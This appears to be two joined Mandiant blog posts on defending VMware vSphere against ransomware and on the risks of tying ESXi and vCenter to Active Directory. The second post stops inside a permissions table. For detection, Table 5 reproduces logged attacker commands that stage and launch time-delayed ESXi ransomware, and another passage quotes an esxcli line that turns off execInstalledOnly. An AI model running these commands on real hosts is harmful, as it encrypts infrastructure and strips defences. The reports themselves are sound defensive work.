  • [CRITICAL] Use vSphere VM encryption: Encrypt all Tier 0 virtualized assets. This is the definitive technical block for the offline "Disk Swap" attack as the stolen .vmdk file would be unreadable.
  • [CRITICAL] Implement a strict VM decommissioning process: Formally decommission old VMs by deleting their disks. Do not leave powered-off, "orphaned" VMs on your datastores as these are the ideal workbenches for threat actors.
  • [CRITICAL] Harden ESXi accounts: Disable the default ESXi root account in favor of a named "break glass" account with a highly complex password. On ESXi 8.0+, run esxcli system account set -i vpxuser -s false to prevent a compromised vCenter user from changing ESXi root passwords.
  • [CRITICAL] Enable ESXi remote audit logging: Enable remote ESXi audit logging (vpxa.log, hostd.log, audit_records) to a SIEM to provide verbose, centralized details of security-focused events on the hosts themselves.

Figure 8: Remote syslog events for SSH access to ESXi

Phase 4: Backup Sabotage — Removing the Safety Net

Before deploying ransomware, the actor ensures their target cannot recover.

• The tactic: Leveraging their full control over Active Directory, the threat actor targets the backup infrastructure (e.g., a virtualized backup server). They either reuse the compromised Domain Admin credentials to log in via RDP or, more stealthily, add a user they control to the "Veeam Administrators" security group in AD. Once in, they delete all backup jobs, snapshots, and repositories.
• Why it's effective: This works due to a lack of administrative tiering (where the same powerful accounts manage both virtualization and backups) and insufficient monitoring of changes to critical AD security groups.
• Key detection signals:
  • [Detecting Path A] Monitor for interactive logons (Windows Event ID 4624) on the backup server by high-privilege accounts.
  • [Detecting Path B] Triggers a CRITICAL alert from AD logs for Event ID 4728 ("A member was added to a security-enabled global group") for any change to the "Veeam Administrators" group
  • [LOGS] Monitor the backup application's own audit logs for mass deletion events.
• Critical hardening and mitigation:
  • [CRITICAL] Isolate backup infrastructure: The Veeam server and its repositories must be in a separate MFA protected, highly restricted security domain or use dedicated, non-AD-joined credentials. This severs the AD trust relationship the threat actor exploits.
  • [CRITICAL] Utilize immutable repositories: This is the technical backstop against backup deletion. It makes the backup data undeletable for a set period, even if a threat actor gains full administrative access to the backup console.

Phase 5: Encryption — Ransomware from the Hypervisor

With the target blinded and their safety net gone, the final stage commences.

• The tactic: The threat actor uses their SSH access to the ESXi hosts to push their custom ransomware binary via SCP/SFTP into a writable directory like /tmp. They then execute a script that uses the native ESXi command-line tool, vim-cmd, to forcibly power off every VM on the host. Finally, they launch the ransomware binary (often with nohup to ensure it continues after they log out), which scans the datastores and encrypts all VM files (.vmdk, .vmx, etc.).

Table 5 displays threat actor actions in support of ESXi ransomware execution along with key evidence that an organization may use to detect this activity.

Tactic

Source Log File

Key Evidence 

Threat Actor's Goal

SSH Login

/var/log/auth.log

SSH session was opened for '[email protected]'

The Threat Actor logs in as root to the compromised ESXi host via an interactive SSH session.

Prepare Payload

/var/log/shell.log

chmod 0777 encrypt.out

cp encrypt.out encrypt_.out

The Threat Actor’s commands to make the ransomware payload executable are captured by the ESXi shell log.

Create Exclusion List

/var/log/shell.log

echo VCSA-01-PROD >> list.txt

echo DC-01-PASSIVE >> list.txt

The shell log records the creation of the list.txt file, revealing the threat actors intent to selectively encrypt systems.

Execute Ransomware

/var/log/shell.log

nohup sh -c 'sleep 14400 && /encrypt_.out -pass [REDACTED_ENCRYPTION_KEY] -skip_vms /list.txt' &

The exact command to launch the time-delayed ransomware, including the key and exclusion list, is logged. The nohup command ensures it runs after they log out.

Clean Up & Exit

/var/log/shell.log

ls nohup.out

exit

The threat actors final commands and session termination are recorded before they exit, leaving the payload to run.

Table 5: ESXi ransomware execution

• Why it's effective: Root access on the ESXi shell is the highest level privilege in a virtual environment. By encrypting at the hypervisor level, they bypass all in-guest security and compromise servers with a single action.
• Key detection signals:
  • [NETWORK] Monitor Network Flow Logs for large file transfers to and from ESXi hosts over SSH/SCP.
  • [BEHAVIOR] A SIEM alert for a high volume of VM power-off commands originating from a single ESXi host is a high-fidelity indicator of an ongoing attack.
  • [LOGS] Monitor ESXi host logs for the execution of esxcli system settings kernel set -s execInstalledOnly -v FALSE (a threat actor attempting to disable a key defense) and mass vmsvc/power.off commands. Since this setting only applies after a reboot, correlate this alert with a subsequent host reboot within a short time window.
• Critical hardening and mitigation:
  • [CRITICAL] Enable vSphere lockdown mode: This is a primary prevention for this phase as it blocks the interactive SSH access needed to push and execute the payload.
  • [CRITICAL] Enforce execInstalledOnly execution policy: This ESXi kernel setting is the definitive technical prevention. It blocks any unsigned binary from running, rendering the threat actor's custom ransomware execution attempt to failure. Enable the hardware based TPM 2.0 chip with Secure Boot to lock this setting so it cannot be disabled.

The Three-Pillar Defense: A Fortified Strategy Pillar 1: Proactive Hardening (Your Most Reliable Defense)

• Architect for centralized access: Do not join ESXi hosts directly to Active Directory. Manage all host access exclusively through vCenter roles and permissions. This drastically reduces the attack surface.
• Enable vSphere lockdown mode: This is a critical control that restricts ESXi management, blocking direct shell access via SSH and preventing changes from being made outside of vCenter.
• Enforce execInstalledOnly: This powerful ESXi kernel setting prevents the execution of any binary that wasn't installed as part of a signed, packaged vSphere Installation Bundle (VIB). It would have directly blocked the threat actor's custom ransomware from running. 
• Use vSphere VM encryption: Encrypt your Tier 0 virtualized assets (DCs, PKI, etc.). This is the definitive technical block for the offline disk-swap attack, rendering any stolen disk files unreadable.
• Practice strict infrastructure hygiene: Don't just power off old VMs. Implement a strict decommissioning process that deletes their disks from the datastore or moves them to segregated archival storage to eliminate potential "staging" machines.
• Posture management: It is vital to implement continuous vSphere posture Management (CPM) because hardening is not a one-time task, but a security state that must be constantly maintained against "configuration drift." The UNC3944 playbook fundamentally relies on creating these policy deviations—such as enabling SSH or altering firewall rules. This can be achieved either through dedicated Hybrid Cloud Security Posture Management (CSPM) tools, such as the vSphere Aria Operations Compliance Pack, Wiz, or by developing custom in-house scripts that leverage the vSphere API via PowerShell/PowerCLI to regularly audit your environment. 
• Harden the help desk: For privileged accounts, mandate that MFA enrollment or password resets require an in-person, multipart, or high-assurance multi-factor verification process.

Pillar 2: Identity and Architectural Integrity (Breaking the Attack Chain)

• Enforce phishing-resistant MFA everywhere: This must be applied to VPN, vCenter logins, and all privileged AD accounts. Use hardened PAWs with exclusive, firewalled access to the virtual center.
• Isolate critical identity infrastructure: Run your Tier 0 assets (Domain Controllers, PAM, Veeam etc) in a dedicated, highly-secured "identity cluster" with its own stringent access policies, segregated from general-purpose workloads.
• Avoid authentication loops: A critical architectural flaw is hosting identity providers (AD) recovery systems (Veeam) or privileged access management (PAM) on the very virtualization platform they secure and authenticate. A compromise of the underlying ESXi hosts results in a correlated failure of both the dependent services and the means to restore them, a scenario that significantly complicates or prevents disaster recovery.
• Consider alternate identity providers (IdPs): To break the "AD-to-everything" chain, consider using a separate, cloud-native IdP like Azure Entra ID for authenticating to infrastructure.

Pillar 3: Advanced Detection and Recovery (Your Safety Net)

• Build detections after hardening: The most effective alerts are those that detect the attempted manipulation of the hardening controls you've put in place. Harden first, then build your detection logic.
• Centralize and monitor key logs: Forward all logs from AD, vCenter, ESXi, networking infrastructure, firewalls, and backups to a SIEM. Correlate logs from these disparate sources to create high-fidelity detection scenarios that can spot the threat actors' methodical movements.
• Focus on high-fidelity alerts: Prioritize alerting on events in phases 1-3. Detecting the enablement of SSH on a host, a VCSA takeover, or membership changes to your "Veeam Admins" group will enable you to act before data exfiltration and ransomware deployment.
• Architect for survival: Assume the worst-case scenario. Your immutable and air-gapped backups are your last line of defense. They must be isolated from your production AD and inaccessible to a compromised administrator. Test your recovery plan against this specific threat model to ensure it works.

Conclusion: The Defender’s Mandate — Harden and Alert

UNC3944's playbook requires a fundamental shift in defensive strategy, moving from EDR-based threat hunting to proactive, infrastructure-centric defense. This threat differs from traditional Windows ransomware in two ways: speed and stealth. While traditional actors may have a dwell time of days or even weeks for reconnaissance, UNC3944 operates with extreme velocity; the entire attack chain from initial access to data exfiltration and final ransomware deployment can occur in mere hours. This combination of speed and minimal forensic evidence makes it essential to not just identify but to immediately intercept suspicious behavioral patterns before they can escalate into a full-blown compromise.

This living-off-the-land (LotL) approach is so effective because the Virtual Center appliance and ESXi hypervisor cannot run traditional EDR agents, leaving a significant visibility gap at the virtualization layer. Consequently, sophisticated detection engineering within your SIEM becomes the primary and most essential method for active defense.

This reality presents the most vital key for defenders: the ability to detect and act on early alerting is paramount. An alert generated during the final ransomware execution is merely a notification of a successful takeover. In contrast, an alert that triggers when the threat actor first compromises a help desk account or accesses Virtual Center from an unusual location is an actionable starting point for an investigation—a crucial window of opportunity to evict the threat before they achieve complete administrative control.

A resilient defense, therefore, cannot rely on sifting through a sea of broad, noisy alerts. This reactive approach is particularly ineffective when, as is often the case, many vSphere environments are built upon a foundation of insecure defaults—such as overly permissive roles or enabled SSH—and suffer from a lack of centralized logging visibility from ESXi hosts and vCenter. Without the proper context from these systems, a security team is left blind to the threat actors' methodical, LotL movements until it is far too late.

Instead, the strategy must be twofold. First, it requires proactive, defense-in-depth technical hardening to systematically correct these foundational gaps and reduce the attack surface. Second, this must be complemented by a deep analysis of the threat actor's tactics, techniques, and procedures (TTPs) to build the high-fidelity correlation rules and logging infrastructure needed to spot their earliest movements. This means moving beyond single-event alerts and creating rules that connect the dots between a help desk ticket, a password reset in Active Directory, and a subsequent anomalous login to vCenter.

These two strategies are symbiotic, creating a system where defense enables detection. Robust hardening is not just a barrier, it also creates friction for the threat actor, forcing them to attempt actions that are inherently suspicious. For example, when Lockdown Mode is enabled (hardening), a threat actor's attempt to open an SSH session to an ESXi host will fail, but it will also generate a specific, high-priority event. The control itself creates the clean signal that a properly configured SIEM is built to catch.

For any organization with a critical dependency on vSphere, this is not a theoretical exercise. What makes this threat exceptionally dangerous is its ability to render entire security strategies irrelevant. It circumvents traditional tiering models by attacking the underlying hypervisor that hosts all of your virtualized Tier 0 assets—including Domain Controllers, Certificate Authorities, and PAM solutions—rendering the logical separation of tiering completely ineffective. Simultaneously, By manipulating virtual disks while the VMs are offline, it subverts in-guest security solutions—such as EDR, antivirus (AV), DLP, and host-based intrusion prevention systems (HIPS)—as their agents cannot monitor for direct ESXi level changes.

The threat is immediate, and the attack chain is proven. Mandiant has observed that the successful hypervisor-level tactics leveraged by groups like UNC3944 are no longer exclusive; these same TTPs are now being actively adopted by other ransomware groups. This proliferation turns a specialized threat into a mainstream attack vector, making the time to act now.

Written by: Stuart Carrera, Brian Meyer

Executive Summary

Broadcom's VMware vSphere product continues to be a top choice for private cloud virtualization, underpinning important systems and critical infrastructure. Far from losing its appeal, organizations still rely heavily on vSphere for its stability and control. Mandiant is also observing a clear trend where critical workloads are moving back from public cloud services to these on-premises vSphere environments, often driven by strategies that balance innovation with stability and the desire for more direct operational oversight.

The common practice of directly integrating vSphere with Microsoft Active Directory (AD), while simplifying administration tasks, creates an attack path frequently underestimated due to a misunderstanding of the inherent risks presented today. This configuration extends the AD attack surface directly to the hypervisor. From a threat actor's perspective, this integration constitutes a high-value opportunity. It transforms the relatively common task of compromising AD credentials into a potential high value scenario, granting access to the underlying infrastructure hosting the servers and in turn allowing them to gain privileged administrative control over ESXi hosts and vCenter and ultimately seize complete command of the virtualized infrastructure.

Ransomware aimed at vSphere infrastructure, including both ESXi hosts and vCenter Server, poses a uniquely severe risk due to its capacity for immediate and widespread infrastructure paralysis. With the end of general support for vSphere 7.x approaching in October 2025—the version Mandiant has observed to be running by a large majority of organizations—the threat of targeted ransomware has become urgent. As recovering from such an attack requires substantial time and resources, proactive defense is paramount. It is therefore critical for organizations to understand the specific threats against these core components and implement effective, unified countermeasures to prevent their compromise, especially before support deadlines introduce additional risk.

This blog post will logically break down the inherent risks and misunderstandings with integrating vSphere with Microsoft AD. Using Mandiant's deep experience of both vSphere ransomware incidents and proactive assessments of both AD and vSphere, we will provide a directive for understanding risk and increasing security posture aligned with today's threats in respect of enterprise vSphere management.

After learning about the risks, our next blog post contains actionable guidance on how to defend your VMware vSphere estate. Additionally, register for our upcoming webinar to learn these strategies directly from Mandiant experts.

vSphere Infrastructure Overview

To understand the security risks in a vSphere environment, it's essential to understand its architecture. A compromise at one layer can have cascading effects throughout the entire virtualized environment.

At its core, vSphere is a platform that pools physical datacenter resources like compute, storage, and networking into a flexible layer of virtual infrastructure, a task primarily accomplished by two key components, ESXi and vCenter, as shown in the following diagram:

• ESXi (The Hypervisor): This is the foundational layer of vSphere. ESXi is a bare metal hypervisor, meaning it installs directly onto the physical server hardware without requiring an underlying operating system. Its core job is to partition that server into multiple, isolated virtual machines (VMs). Each VM, which is essentially just a collection of files, runs its own operating system and applications, acting like an independent computer. The hypervisor's minimal design is intentional, aiming to reduce its own attack surface while efficiently managing the server's resources.

• vCenter (The Control Plane): If ESXi hosts are the workers, the vCenter Server is the "brain" or control plane for the entire environment. It provides a single web-based interface to manage all connected ESXi hosts and the VMs they run. ESXi hosts are registered with vCenter, which uses agents on each host to manage operations and enable advanced features like automatic workload balancing and high availability for failover protection.

Integrating vSphere with AD creates a flexible environment that simplifies identity management, yet it introduces profound security risks. This direct link can turn an AD compromise into a significant threat against the entire vSphere deployment. 

An Outdated Blueprint: Re-examining Foundational vSphere Security

Virtualization has been a cornerstone of enterprise IT for nearly two decades, solving server sprawl and delivering transformative operational agility. Alongside it, AD remains a pillar of enterprise IT. This has led to a long-standing directive that all enterprise technology, including critical infrastructure like vSphere, must integrate with AD for centralized authentication. The result is a risky dependency—the security of foundational infrastructure is now directly tied to the security of AD, meaning any compromise within AD becomes a direct threat to the entire virtualization environment.

In the past, vSphere security was often approached in distinct, siloed layers. Perimeter security was stringent, and threats were typically viewed as internal, such as configuration errors, rather than from external threat actors. This, combined with the newfound ease of image-based backups, often led to security efforts becoming primarily focused on robust business continuity and disaster recovery capabilities over proactive defense. As environments expanded, managing local user accounts created significant administrative overhead, so support for AD integration was introduced for centralized identity management.

Mandiant’s observation, based on extensive incident response engagements, is that many vSphere environments today still operate on this foundational architecture, carrying forward security assumptions that haven't kept pace with the evolving threat landscape. As Mandiant’s assessments frequently identify, these architectures often prioritize functionality and stability over a security design grounded in today's threats.

So what’s changed? Reliance solely on perimeter defenses is an outdated security strategy. The modern security boundary focuses on the user and device, typically protected by agent-based EDR solutions. But here lies the critical gap: The ESXi hypervisor, a purpose-built appliance, which, contrary to what many people believe, is not a standard Linux distribution. This specialized architecture inherently prevents the installation of external software, including security tools like EDR agents. vSphere documentation explicitly addresses this, stating:

“The ESXi hypervisor is a specialized, purpose-built solution, similar to a network router’s firmware. While this approach has several advantages, it also makes ESXi unable to run “off-the-shelf” software, including security tools, designed for general-purpose operating systems as the ESXi runtime environment is dissimilar to other operating systems.

The use of Endpoint Detection and Response (EDR) and other security practices inside third-party guest operating systems is supported and recommended."

Source: Broadcom

Consequently, most organizations focus their security efforts and EDR deployment inside the guest operating systems. This leaves the underlying ESXi hypervisor—the foundation of the entire virtualization environment—as a significant blind spot for security teams.

The vSphere Threat Landscape

The security gap at the hypervisor layer, which we detailed in the previous section, has not gone unnoticed by threat actors. As security for Windows-based operating systems matured with advanced EDR solutions, threat actors have pivoted to a softer, higher-value target—the ESXi hypervisor itself.

This pivot is amplified by common operational realities. The critical role of ESXi hosts often leads to a hesitancy to apply patches promptly for fear of disruption. Many organizations face a rapidly closing window to mitigate risks; however, threat actors aren't just relying on unpatched vulnerabilities. They frequently leverage compromised credentials, a lack of MFA, and simple misconfigurations to gain access.

The Rise of Hypervisor-Aware Ransomware

Ransomware targeting vSphere is fundamentally more devastating than its traditional Windows counterpart. Instead of encrypting files on servers or end user computers, these attacks aim to cripple the entire infrastructure by encrypting virtual disk files (VMDKs), disabling dozens of VMs at once.

This is not a theoretical threat. According to Google Threat Intelligence Group (GTIG), the focus on vSphere is rapidly increasing. Of the new ransomware families observed, the proportion specifically tailored for vSphere ESXi systems grew from ~2% in 2022 to over 10% in 2024. This demonstrates a clear and accelerating trend that threat actors are actively dedicating resources to build tooling that specifically targets the hypervisor. In incidents investigated by GTIG, threat actors most frequently deployed REDBIKE, RANSOMHUB, and LOCKBIT.BLACK variants.

GTIG analysts have also noted a recent trend for threat actors to gain persistence to vSphere environments via reverse shells deployed on Virtual center. This enables a foothold to be obtained within the vSphere control plane and thus complete control over all infrastructure. This would typically manifest in into a two-pronged approach: a tactical data exfiltration such as an AD database (NTDS.dit) and then the deployment of ransomware and mass encryption of all VMs.

Understanding the Active Directory Integration in vSphere 

The decision to integrate vSphere with AD often overlooks the specifics of how this connection actually works. To properly assess the risk, we must look beneath the surface at the technical components that enable this functionality. This analysis will deconstruct those key pieces: the legacy agent responsible for authentication, its inherent inability to support modern security controls like multi-factor authentication (MFA), and the insecure default trust relationships it establishes. By examining these foundational mechanisms, we can expose the direct line from a credential compromise to an infrastructure takeover.

vSphere’s Likewise Agent

When discussing vSphere's integration with AD, it's essential to distinguish between two separate components: vCenter Server and the ESXi hosts. Their respective AD integration options are independent and possess different capabilities. This connection is entirely facilitated by the Likewise agent.

The Likewise agent was originally developed by Likewise Software to allow Linux and Unix-based systems to join AD environments, enabling centralized identity management using standard protocols like Kerberos, NTLM, and LDAP/(S). The open-source edition, Likewise Open, included tools such as domainjoin-cli and system daemons like lsassd, which are still found under the hood in ESXi and the vCenter Server Appliance (VCSA). vSphere embedded this agent starting with ESX 4.1 (released in 2010) to facilitate Integrated Windows Authentication (IWA). However, its function differs:

• In ESXi, the Likewise agent actively handles AD user authentication when configured.

• In vCenter, it is only used for the initial domain join when Integrated Windows Authentication (IWA) is selected as the identity source—all actual authentication is then handled by the vCenter Single Sign On (SSO) subsystem.

The original Likewise Software was eventually absorbed by BeyondTrust, and the open-source edition of the agent is no longer actively maintained publicly. The Likewise OSS project is now archived and marked as inactive. It is understood the codebase is only maintained internally. Note: The agent's build version remains identical at Likewise Version 6.2.0 across both ESXi 7 and 8.

Figure 1: ESXi Likewise Agent versions

The following table lists comparisons between native AD connection methods for both Virtual Center and ESXi.

Feature / Capability

ESXi Host

vCenter Server (VCSA)

AD Integration Method

Integrated Windows Authentication (IWA) only

IWA and LDAP/LDAPS

Federated Identity (SAML, OIDC)

Likewise Agent Used

Yes – exclusively for IWA domain join and authentication

Yes – Used for IWA domain join only

Authentication Protocols Supported

Kerberos (via IWA only)

Kerberos (IWA), LDAP(S), SAML, OIDC

Modern Auth Support (OIDC, SAML, FIDO2)

Not supported 

Not supported via AD

Supported only when using federated IdPs

MFA Support

Not supported

Not supported via AD DS

Supported via Identity Federation (ADFS, Azure AD, etc.)

Granular Role-Based Access Control (RBAC)

Limited (via host profile or CLI only)

Advanced RBAC with vCenter SSO

Why Not to Use Likewise-Based AD Integration (ESXi/vCenter)

The following list contains considerations when using AD-based connections managed by the vSphere Likewise agent:

• Deprecated software: Likewise is legacy software, no longer maintained or supported upstream.

• No support for modern authentication: Likewise only supports Integrated Windows Authentication (Kerberos) and offers no support for SAML, OIDC, or FIDO2.

• No MFA: Likewise cannot enforce contextual policies such as MFA, geolocation restrictions, or time-based access.

• Credential material stored locally: Kerberos keytabs and cached credentials are stored unencrypted on disk.

VMware recommends leveraging identity federation with modern identity providers, bypassing the limitations of the legacy Likewise-based stack. Broadcom announced on March 25 that IWA will be removed in the next major release. 

The MFA Gap

While AD integration offers administrative convenience, it introduces significant security limitations, particularly regarding MFA. Traditional AD authentication methods, including Kerberos and NTLM, are inherently single-factor. These protocols do not natively support MFA, and the vCenter Likewise integration does not extend AD MFA enforcement to vCenter or ESXi.

Critically, ESXi does not support MFA in any form, nor does it support identity federation, SAML, or modern protocols such as OIDC or FIDO2. Even for vCenter, MFA can only be applied to users within the vSphere.local domain (using mechanisms like RSA SecurID or RADIUS), but not to AD-joined users authenticated through IWA or LDAP/S.

Ancillary solutions can offer proxy-based MFA that integrate with AD to enforce MFA to vSphere. AuthLite extends the native AD login process by requiring a second factor during Windows authentication, which can indirectly secure vCenter access when Integrated Windows Authentication is used. Silverfort operates at the domain controller level, enforcing MFA on authentication flows in real time without requiring agents on endpoints or changes to vCenter. Both solutions can help enforce MFA into vSphere environments that lack native support for it, but they can also introduce caveats such as added complexity and potential authorization loops if AD becomes dependent on the same infrastructure they protect and the need to treat their control planes or virtual appliances as Tier 0 systems within the vSphere environment.

As a result, in organizations that integrate vSphere with traditional Active Directory, all access to critical vSphere infrastructure (ESXi and Virtual Center) remains protected by password alone and no MFA.

While it is technically possible to enforce MFA in vSphere through Active Directory Federation Services (ADFS), this approach requires careful consideration. It is important to note that ADFS is still a feature included in Windows Server 2025 and is not on any official deprecation list with an end-of-life date. However, the lack of significant new feature development compared to the rapid innovation in Microsoft Entra ID speaks to its status as a legacy technology. This is underscored by the extensive migration resources Microsoft now provides to move applications away from AD FS and into Entra ID.

Therefore, while ADFS remains a supported feature, for the purposes of securing vSphere it is a complex workaround that doesn't apply to direct ESXi access and runs contrary to Microsoft's clear strategic direction toward modern, cloud-based identity solutions.

Another common approach involves Privileged Access Management (PAM). While a PAM-centric strategy offers benefits like centralized control and session auditing, several caveats warrant consideration. PAM systems add operational complexity, and the vCenter session itself is typically not directly federated with the primary enterprise identity provider (like Entra ID or Okta). Consequently, context-aware conditional access policies are generally applied only at the initial PAM logon, not within the vCenter session itself.

Ultimately, these workarounds do not address the core issue: vSphere’s reliance on the Likewise agent and traditional AD protocols prevents native MFA enforcement for AD users, leaving the environment vulnerable.

There is a reliance on a delegated logon based on AD password complexity, and any MFA would have to be at the network access layer or workstation login, not at the vCenter login prompt for those users.

The 'ESX Admins' Problem Is Not an ESXi Issue, It's a Trust Issue 

In July 2024, Microsoft published a blog post on CVE-2024-37085, an "ESXi vulnerability" that was considered a critical issue, and one that vSphere promptly addressed in a patch release. The CVE, present in vSphere ESXi for many years, involved several ESXi advanced settings utilizing insecure default configurations. Upon joining an ESXi host to an AD domain, the "ESX Admins" AD group is automatically granted an ESXi Admin role, potentially expanding the scope of administrative access beyond the intended users.

These settings are configured by the following ESXi controls:

1. Config.HostAgent.plugins.hostsvc.esxAdminsGroupAutoAdd
   • What it does: This setting controls whether users from a designated administrators group are automatically added to the host’s local administrative group.
2. Config.HostAgent.plugins.vimsvc.authValidateInterval
   • What it does: This setting defines the time interval at which the host’s management services validate the authentication credentials (or tickets) of connected clients.
3. Config.HostAgent.plugins.hostsvc.esxAdminsGroup
   • What it does: This parameter specifies the name (or identifier) of the group whose members are to be automatically considered for host administrative privileges (when auto-add is enabled by the first setting).

vSphere produced a manual workaround for prior versions of vSphere ESXi 8.0 Update 3 based on the following settings:

Config.HostAgent.plugins.hostsvc.esxAdminsGroupAutoAdd from true to false

Config.HostAgent.plugins.vimsvc.authValidateInterval from 1440 to 90

Config.HostAgent.plugins.hostsvc.esxAdminsGroup from "ESX Admins" to "" 

The following is a configuration fix to default settings in vSphere ESXi 8.0 Update 3:

Config.HostAgent.plugins.hostsvc.esxAdminsGroupAutoAdd from true to false

Config.HostAgent.plugins.vimsvc.authValidateInterval from 1440 to 90

Config.HostAgent.plugins.hostsvc.esxAdminsGroup no change "ESX Admins"  

Integrating an ESXi host with Microsoft AD introduces a fundamental security issue that is often overlooked—the IdP's administrators effectively gain administrative control over the ESXi host and any other system relying on that trust. While a common perception, sometimes reinforced by narratives focusing on the endpoint, suggests the ESXi host itself is the primary vulnerability, the more critical security concern is the implicit, far-reaching administrative power wielded by the administrators of the trusted IdP, particularly when using AD authentication with ESXi.

Administrators of Active Directory implicitly become administrators of any ESXi host that trusts it.

Consequently, neither workarounds nor configuration fixes, which only adjust default settings, resolve this core problem when an ESXi host is joined to AD. The issue transcends specific CVEs; it stems from the inherent security implications of the implicit trust model itself, particularly when it involves systems like ESXi and AD, which already possess their own security vulnerabilities and are frequent targets for threat actors.

In respect of ESXi, context should be applied to the following: 

• Automatic full administrative access: When ESXi hosts are joined to AD, a default (or custom configured) AD group (e.g., "ESX Admins") is granted full root-level administrative privileges on the ESXi hosts. Any member of this AD group instantly gains unrestricted control of the ESXi host.
• Group name: If AD is compromised, threat actors can manipulate any group name used for via the the Config.HostAgent.plugins.hostsvc.esxAdminsGroup advanced setting, This is not limited to the group name “ESX Admins.”
• Lack of security identifier (SID) tracking: AD group names (not limited to “ESX Admins”) added to ESXi are not tracked by their SIDs. This means that a threat actor could rename or recreate a deleted AD group such as “ESX Admins” maintaining the same name in ESXi via Config.HostAgent.plugins.hostsvc.esxAdminsGroup and retain the elevated privileges. This is a limitation of the Likewise ESXi agent.
• Active Directory group management. Any threat actor looking to access a domain-joined ESXi host would need to simply require sufficient permissions to add themselves to the AD group defined via Config.HostAgent.plugins.hostsvc.esxAdminsGroup.

Recent discussions around vulnerabilities like CVE-2024-37085 have brought this security issue to the forefront: the inherent dangers of joining vSphere ESXi hosts directly to an AD domain. While such integration offers perceived management convenience, it establishes a level of trust that can be easily exploited.

Why Your ESXi Hosts Should Never Be Active Directory Domain Joined

Based on previous discussions we can confidently establish that joining an ESXi host to AD carries substantial risk. This is further endorsed where there is an absence of comprehensive ESXi security controls such as Secure Boot, TPM, execInstalledOnly, vCenter integration, comprehensive logging and SIEM integration. Compromised AD credentials tied to an ESXi-joined group will allow remote threat actors to readily exploit the elevated privileges, executing actions such as virtual machine shutdown and ransomware deployment via SSH. These risks can be summarized as follows:

• No MFA support: ESXi does not support MFA for AD users. Domain joining exposes critical hypervisor access to single-factor password-based authentication.

• Legacy authentication protocols: ESXi relies on IWA and Kerberos / NTLM / Windows Session Authentication (SSPI)—outdated protocols vulnerable to various attacks, including pass-the-hash and credential relay.

• Likewise agent is deprecated: The underlying Likewise agent is a discontinued open-source project. Continued reliance on it introduces maintenance and security risks.

• No modern authentication integration: ESXi does not support federated identity, SAML, OIDC, FIDO2, or conditional access. 

• AD policy enforcement is absent: Group Policy Objects (GPOs), conditional access, and login time restrictions do not extend to ESXi via AD join, undermining centralized security controls.

• Complexity without benefit: Domain joining adds administrative overhead without offering meaningful security gains — especially when using vCenter as the primary access point.

• Limited role mapping granularity: Group-based role mappings on ESXi are basic and cannot match the RBAC precision available in vCenter, reducing access control fidelity.

To securely remove ESXi hosts from AD, a multistep process is required to shift access management explicitly to vCenter. This involves assessing current AD usage, designing granular vCenter roles, configuring vCenter's RBAC, removing hosts from the domain via PowerCLI, and preventing future AD re-integration. All management then moves to vCenter, with direct ESXi access minimized. This comprehensive approach prioritizes security and efficiency by moving away from AD reliance for ESXi authentication and authorization towards a vCenter-centric, granular RBAC model. vSphere explicitly discourages joining ESXi hosts to AD:

“ESXi can be joined to an Active Directory domain as well, and that functionality continues to be supported. We recommend directing all configuration & usage through the Role-Based Access Controls (RBAC) present in vCenter Server, though."

Source: VMware

vSphere Virtual Center — The Primary Target

vSphere vCenter Server represents a strategic objective for threat actors due to its authoritative role as the centralized management for virtualized infrastructure. A compromised vCenter instance effectively cedes comprehensive administrative control over the entire virtual estate, encompassing all connected ESXi hypervisors, virtual machines, datastores, and virtual network configurations. 

Through its extensive Application Programming Interfaces (APIs), adversaries can programmatically manipulate all managed ESXi hosts and their resident virtual machines, enabling actions such as mass ransomware deployment, large-scale data exfiltration, the provisioning of rogue virtual assets, or the alteration of security postures to evade detection and induce widespread operational disruption. 

Furthermore, the vCenter Server appliance itself can be subverted by implanting persistent backdoors, thereby establishing covert command-and-control (C2) channels that allow for entrenched persistence and continued malicious operations. Consequently, its critical function renders vCenter a high-value target. The following should be considered:

• Coupled security dependency (compromise amplification risk): Directly linking vCenter to AD makes vSphere security dependent on AD's integrity. As AD is a prime target, compromising privileged AD accounts mapped to vCenter grants immediate, potentially unrestricted administrative access to the virtual infrastructure, bypassing vSphere-specific security layers. Insufficient application of least privilege for AD accounts in vSphere magnifies this risk.

• Single-factor authentication weakness (credential compromise risk): Relying solely on AD password validation makes vCenter highly vulnerable to common credential compromise methods (phishing, brute-force, spraying, stuffing, malware). Without mandatory MFA, a single stolen password for a privileged AD account allows complete authentication bypass, enabling unauthorized access, data breaches, ransomware, or major disruptions.

• Lack of native MFA: The direct vsphere.local-to-AD integration offers no built-in enforcement of strong authentication like phishing resistant FIDO2 . While compatibility exists for external systems (Smart Cards, RSA SecurID), these require separate, dedicated infrastructure and are not inherent features, leaving a significant authentication assurance gap if unimplemented.

• Facilitation of lateral movement and privilege escalation: Compromised AD credentials, even non-administrative ones with minimal vSphere rights, allow threat actors initial vCenter access. vCenter can then be exploited as a pivot point for further network infiltration, privilege escalation within the virtual environment, or attacks on guest systems via console/API access, all stemming from the initial single-factor credential compromise.

Integrating vSphere vCenter directly with AD for identity management, while common, inherently introduces significant security vulnerabilities stemming from coupled dependencies, reliance on single-factor authentication, a lack of native strong MFA, and facilitated attack pathways. These not only critically expose the virtual infrastructure but also provide avenues to exploit the VCSA appliance's attack surface, such as its underlying Linux shell and the lack of comprehensive endpoint detection and response (EDR) capabilities.

Securing vSphere: The Tier 0 Challenge

The widespread practice of running Tier 0 services—most critically, AD domain controllers (often used for direct Identity integration)—directly on vSphere hypervisors introduces a significant and often overlooked security risk. By placing Active Directory Domain Controllers on vSphere, any successful attack against the hypervisor effectively hands threat actors the keys to the entire AD environment, enabling complete domain takeover. Mandiant observes that a general lack of awareness and proactive mitigation persists.

The danger is significant and present, for example, even for vSphere permissions that appear low-risk or are operationally common. For example, the privilege to snapshot an AD virtual machine can be weaponized for complete AD takeover. This specific vSphere capability, often assigned for backup routines, enables offline NTDS.dit (AD database) exfiltration. This vSphere-level action renders many in-guest Windows Server security controls ineffective, bypassing not only traditional measures like strong passwords and MFA, but also advanced protections such as LSASS credential guard and EDR, which primarily monitor activity within the operating system. This effectively paves a direct route to full domain compromise for a threat actor possessing this specific permission. 

Mandiant observed these tactics, techniques, and procedures (TTPs) attributed to various ransomware groups across multiple incidents. The absence of VM encryption and logging makes this a relatively simple task to obtain the AD database while being undetected.

The following table contains a list of sample threats matched to related permissions:

Threat 

Risk

Minimum vSphere Permission Required

Unencrypted vMotion

Memory-in-transit (e.g., LSASS, krbtgt hashes) can be captured during migration.

Role: Virtual Machine Power User or higher Permission: Host > Inventory > Migrate powered on virtual machine

